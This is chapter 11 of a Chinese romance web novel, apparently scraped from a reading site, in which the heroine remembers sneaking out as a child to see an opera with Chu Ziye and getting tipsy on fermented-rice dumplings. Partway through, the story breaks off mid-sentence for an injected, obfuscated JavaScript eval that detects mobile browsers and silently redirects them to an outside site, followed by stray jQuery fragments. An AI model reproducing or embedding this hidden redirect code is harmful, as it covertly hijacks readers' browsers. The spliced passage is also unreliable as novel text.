默认冷灰
24号文字
方正启体

11. 第 11 章

作者:燕山秋本书字数:K更新时间:
    秦瑛珠想到这里忍不住勾起嘴角一笑,最后么……她怎么可能错过?自然是揣上了铜板趁爹娘没注意溜出去看戏了。


    她还担心那些最边上的座儿卖光了,只能买贵一点的座儿,特地把所有铜板都带上了。


    然而没想到一溜出家门就碰到了楚子烨那厮——真真是倒霉透了!她与姓楚的就是命中相克!


    “杨瑛珠,你大晚上出来作甚?”楚子烨板着脸冷声问道。


    “……我、我,”瑛珠其实有些怵这人,更何况是干坏事被抓包便吞吞吐吐,支支吾吾说不出话来。


    但瑛珠脑子灵活,立马理直气壮质问道:“你还问我!楚子烨,你又不住这这儿,大晚上在这儿晃悠干啥?不会是干些偷鸡摸狗的事儿吧?啧啧啧,没想到啊,原来你白天是君子,晚上变‘梁上君子’了?”


    楚子烨被她这话气得俊脸通红,那双因年幼还有些圆钝的漂亮桃花眼旋即睁大,有些不高兴又不自然道:“我落了些东西在范夫子家,来取回而已。”


    又认真看着面前鼓着腮不服气的杨瑛珠抑扬顿挫道:“荀子有云:与人善言,暖于布帛;伤人之言深于矛戟。*杨瑛珠,你不该在状况不明时口出恶语中伤我——”


    “行了行了,我错了总可以了吧。”瑛珠不耐烦打断他,若再不打断这厮怕是要跟她论道到天明,她还赶着去看戏呢。


    “我错了,对不起。你去拿你的东西吧,我、我去散步。”瑛珠急吼吼说完就要走,却被楚子烨拦了下来,她一脸疑惑看向楚子烨。


    “你是不是想瞒着杨叔他们偷偷跑出去看戏?”楚子烨问道。


    “什么看戏、我,我只是睡不着出来走走罢了。”瑛珠死活不承认。


    然而她撒谎技巧拙劣,还满脸心虚,自然逃不过楚子烨的火眼金睛。


    “你就是要去看戏。不成、集市人太多,而且乱,你快点回家去,你再不回去我就告诉杨叔和苗婶。”楚子烨皱眉道。


    “别、别告诉他们。”瑛珠一听对方竟拿爹娘威胁自己,又害怕又恼火,可她还是想看,便灵光一闪软了嗓音哀求道:“楚子烨、你别告诉他们好不好,大家都说那戏很好看的,你就让我去看嘛……”


    见楚子烨还是拦在自己身前不为所动,瑛珠只好肉疼道:“要不这样、我我请你去看戏,你别跟我爹娘说成不?你也没看过吧?就不想去凑凑热闹?”


    “不……”楚子烨刚开口说了个“不”字,就被瑛珠冲上来转了个身抱住胳膊拖着走,“我请你看还不走?快走吧,去晚了戏都唱完了!”


    楚子烨身子一僵,不知怎么地也没再出声反对,竟也被她半抱半拖推着走了。


    到了集市,两人就往最热闹的地方去,果然找到了戏棚,只是待他们到了一问,那些二文钱的散座果然如瑛珠所料早就卖光了,只剩板凳座,竟要五文钱一个人!


    瑛珠心中忍不住埋怨楚子烨坏事,可来都来了……


    最后只能一咬牙忍痛掏了十文钱买了两个板凳座儿,带着楚子烨一块儿入场了。


    然而他们来得晚,前头的板凳早就坐满了,只剩最后一条孤零零的板凳,离戏台还是有点远。


    瑛珠那会儿才九岁,站起来都没有前面坐着的人高,坐下来之后更是只能看到前头黑压压一片后脑勺,这板凳座买的有点亏了啊。


    说不纳闷是假的,她倒是想站到板凳上,但班主拿着个铜锣一边敲一边让百姓们乖乖坐好,喊道:


    “各位乡亲都坐好呢!不要站起来、也不要站到板凳上,碍到后头的人看戏反倒不美了,那咱们只能将您请出去呢!”


    她可不要被请出去!


    瑛珠瞬间打消了念头,只得乖乖坐到板凳上抻长了脖子努力往戏台上看,即便如此,却还是什么也看不见。


    戏很快就开演了,尽管坐到后头看不见,但确实能听得一清二楚。


    戏台上先唱的《宫变》,台上的角儿还没唱几句呢,楚子烨那厮就拍了拍她手臂说要出去不知道干嘛。


    瑛珠正竖着耳朵凝神听着呢,可没空搭理他只是摆摆手让他该干嘛干嘛去。


    只是没想到过了一会儿楚子烨又拍了拍她手臂,低声喊她“瑛珠、瑛珠,我……”


    “干嘛呢!”瑛珠正听到兴起处呢被他打断了很是生气,眉毛都快竖成倒“八”字了,“楚子烨你老实听——”


    可当看到楚子烨手里拿着的小杌子后瑛珠当即愣住,立刻就明白楚子烨的用意,连忙矮着身子站了起来,惊喜道:“你从哪儿弄来的好东西?”


    楚子烨把小杌子搭到板凳上,又扶着瑛珠坐上去——正好比前排后脑勺高出小半个头,能让瑛珠看清戏台上的演出。


    “你怎么不再多拿一个?”瑛珠低头看向楚子烨问道。


    楚子烨只是摇摇头,“我不用,你好好看吧。”


    “哦。”怪人一个。


    瑛珠没想那么多,高兴地往戏台上看去,果然看到戏台布置成牢狱的模样,只见“姜道真”站在牢狱外,正与那被锁链拷住的“陆非言”说着话呢!


    瑛珠一直很好奇历史上的文睿帝究竟是怎么降服陆丞相的,今夜这出《宫变》极大地满足了她的好奇心——


    戏里的“姜道真”与“陆非言”一答一问,正是凭三寸不烂之舌,说到“陆非言”哑口无言败下阵来,最后心甘情愿辅佐“姜道真”为帝。


    《宫变》之后则是《夜谈》,听得瑛珠感动不已,不过她也在想,若换作是她们母女,都不用“夜谈”,阿娘就拥护她当皇帝了,阿娘肯定还会说“我们家瑛珠就是最厉害的”!


    戏班班主眼尖地看到板凳座的最后一排蓦地凸出半颗小脑袋,眯眼一眼原来是方才那两个矮冬瓜小孩儿,倒也不与他们计较,睁一只眼闭一只眼过去了。


    ……


    秦瑛珠突然就有些困乏了,她换了个平躺的姿势,继续半梦半醒地回忆着,当时看完戏还发生事什么来着?


    ——是了,她和楚子烨在回去路上经过许多小吃摊,可身上的铜板早就在买座听戏的时候花光了,她馋得走不动道,楚子烨死活拉不动她,只好给她买了棉花糖、糖葫芦、炸馄饨……他自己只买了份酒酿汤圆。


    瑛珠说白了就是眼阔肚窄,所以棉花糖舔了几口,糖葫芦咬了几个,炸馄饨吃了几只就将东西都推到楚子烨跟前。


    尽管吃不下,可她还眼巴巴瞅着楚子烨那碗酒酿汤圆。


    只吃了两个汤圆的楚子烨:……


    “你不是吃饱了吗?”楚子烨放下勺子,结果就看到杨瑛珠那黑白分明的葡萄眼跟着勺子、不对——是勺子里那颗汤圆转。


    瑛珠眨了眨眼,吸溜了一下口水,盯着那汤圆道:“我吃饱了。”但肚子里再吃一个汤圆的位置挤挤还是有的,她吃过汤圆,可没吃过酒酿汤圆呢!


    这碗酒酿汤圆闻着有点香——不知道是什么馅儿呢?


    但楚子烨肯定不会给她吃,她才不会开口要!


    说着便看到一勺汤圆递到她嘴边,“你……你不介意的话,就吃吧。”


    瑛珠盯着那颗白胖汤圆自然是万分不介意,张嘴一口吞下,竟然是她最喜欢的黑芝麻馅儿!


    楚子烨看她一脸意犹未尽,便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253692|197976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿着勺子舀起汤圆一个接着一个喂,瑛珠来者不拒,最后还喝了两勺碗里的甜水。


    待她终于吃饱喝足要回家,结果起身的时候直接晕乎乎栽倒了。


    再醒来便是第二日下午,然而一睁眼就挨了阿娘好一顿骂、屁股挨了十几下巴掌!


    就连之后买菜回来都要被阿娘搜一遍口袋,怕她又藏了钱出去胡闹……


    那回苗小蝶都快气疯了,深夜本想去女儿屋子看她有没有踢被子,结果进屋一看榻上空荡荡的,急忙去喊了丈夫杨金顺过来,两人正准备出去找人呢,就见那小楚公子背着瑛珠回来了。


    “杨瑛珠!”苗小蝶一边骂一遍狠狠拍女儿屁/股,“你这胆儿如今是肥了!竟然趁夜偷跑出去?!万一出事了你让爹娘怎么办?!”


    “娘、呜呜我错了、别打了……”瑛珠被亲娘钳制住,屁/股上还在不断挨巴掌,眼泪啪嗒啪嗒落下,大哭道:“娘、我疼、不敢了,呜呜呜哇!”


    苗小蝶气得眼睛发红,“这会儿知道不敢了,你怎么敢偷溜出去!还有、你跑出去就算了!怎么还敢喝酒!娘说的话你都当耳旁风了是吧!明知道自己喝酒了就胡闹还敢喝!”


    瑛珠觉得冤死了,一边哭一边喊道:“娘、我没喝、酒酿哪里算酒……我就喝了两勺甜水!”


    苗小蝶听她这话都快被气笑了,“怎么、糯米酒是酒、梅花酒是酒、你爹喝的烧刀子是酒、酒酿汤圆里的酒就不算酒了?你这哪来的歪理?!还把人家小楚公子的脸都抓花了!”


    在挨了不知多少个巴掌之后,瑛珠终于怕了,再也不敢碰有“酒”字的东西了,就连当初洞房花烛夜,她那杯交杯酒都换成了水。


    不过在那以后有好长一段时间没见过楚子烨,直到范夫子远行回来,楚子烨才再次出现在她面前,脸上倒不见伤,只不过依旧板着脸,脸色臭臭的。


    那日,范夫子开始上课:“子烨、瑛珠,翻开《大田》这一篇,咱们接着讲。”


    旁边的楚子烨却举起手来道:“夫子,今天能不能先讲《宾之初筵》?”


    范夫子是个很随和的人,想也没想便同意了,“那就先讲《宾之初筵》吧。跟我念,宾之初筵,左右秩秩。笾豆有楚,肴核维旅……”*


    瑛珠本想下课后找楚子烨道歉的,毕竟她抓花人家的脸确实不对,然而当范夫子逐句解释完这篇《宾之初筵》后,瑛珠才回过味来,楚子烨这是借机骂她撒酒疯吗?


    “夫子,学生对诗中所言‘醉而不出,是谓伐德。饮酒孔嘉,维其令仪’*深以为然,这篇诗颇具警醒之意,为求深刻,学生自愿抄写十遍。”


    范夫子虽有些惊讶,但亦抚须道:“子烨小小年纪有此醒悟,甚好。”


    “夫子,如此警诫文章若仅有学生一人受教,未免太过可惜。学生愿邀同窗一同抄写,彼此共勉共鉴,以期能更透彻领悟夫子今日的教诲。”楚子烨恭敬道。


    ——这话听得瑛珠瞪大了眼睛,什么?整篇诗那么长?她也要抄?楚子烨这厮是故意整她吧?!


    “夫子、他抄就好了,我不喝酒了用不着!”瑛珠急道。


    “瑛珠,你也抄十遍,顺便好好练练字,我不在的这段日子,你分明懈怠了,那几副花鸟图画得还算认真,但那几篇大字字迹潦草,这功课可过不了关。”范夫子道。


    秦瑛珠最后记得自己一边哭一边抄完十遍《宾之初筵》,印象不可谓不深刻。


    不知范夫子如今在哪里?可还安好?有点想爹娘了……


    还有楚子烨那厮……眼皮似乎愈发地沉,秦瑛珠最终没抵过困意沉沉睡了过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)